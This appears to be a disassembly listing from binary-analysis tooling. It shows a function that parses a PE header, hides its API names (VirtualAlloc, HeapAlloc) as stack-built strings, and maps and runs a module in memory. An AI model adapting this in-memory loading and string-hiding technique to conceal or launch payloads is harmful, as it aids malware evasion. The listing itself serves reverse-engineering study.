Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x2c
push ebx
mov ebx, dword [esp + 0x34]
push ebp
push esi
cmp word [ebx], 0x5a4d
push edi
je 0x40101c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
je 0x401033
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret
mov ecx, dword [0x406ed0]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [esp + 0x1c]
mov byte [esp + 0x1c], 0x56
push eax
push ecx
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x63
mov byte [esp + 0x30], 0
call ebp
mov dword [0x406234], eax
mov edx, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
push 4
push 0x2000
push edx
push ecx
call eax
mov esi, eax
mov al, 0x73
mov byte [esp + 0x34], al
mov byte [esp + 0x35], al
mov eax, dword [0x406ed0]
lea edx, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x34], 0x47
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3e], 0x48
mov byte [esp + 0x3f], 0x65
mov byte [esp + 0x40], 0x61
mov byte [esp + 0x41], 0x70
mov byte [esp + 0x42], 0
call ebp
test esi, esi
mov dword [esp + 0x40], eax
jne 0x401120
mov ecx, dword [edi + 0x50]
push 4
push 0x2000
push ecx
push esi
call dword [0x406234]
mov esi, eax
test esi, esi
jne 0x401120
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
mov eax, dword [0x406ed0]
lea edx, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x63
mov byte [esp + 0x21], 0
call ebp
push 0x14
push 0
mov ebp, eax
call dword [esp + 0x48]
push eax
call ebp
mov ebp, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebp + 4], esi
mov dword [ebp + 0xc], eax
mov dword [ebp + 8], eax
mov dword [ebp + 0x10], eax
mov ecx, dword [edi + 0x50]
push ecx
push esi
call dword [0x406234]
mov edx, dword [edi + 0x54]
push 4
push 0x1000
push edx
push esi
call dword [0x406234]
mov ecx, dword [ebx + 0x3c]
mov edx, dword [edi + 0x54]
add ecx, edx
mov dword [esp + 0x40], eax
push ecx
mov ecx, dword [0x406c4c]
push ebx
push eax
call fcn.004018f0
mov edx, dword [ebx + 0x3c]
mov eax, dword [esp + 0x40]
add eax, edx
push ebp
push edi
mov dword [ebp], eax
push ebx
mov dword [eax + 0x34], esi
call fcn.00401240
mov ecx, dword [edi + 0x34]
mov eax, esi
add esp, 0xc
sub eax, ecx
je 0x4011e7
push eax
push ebp
call fcn.004014a0
add esp, 8
push ebp
call fcn.00401520
add esp, 4
test eax, eax
je 0x401218
push ebp
call fcn.00401310
mov ecx, dword [ebp]
add esp, 4
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x401229
add eax, esi
test eax, eax
je 0x401218
push 0
push 1
push esi
call eax
test eax, eax
jne 0x401222
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret
mov dword [ebp + 0x10], 1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret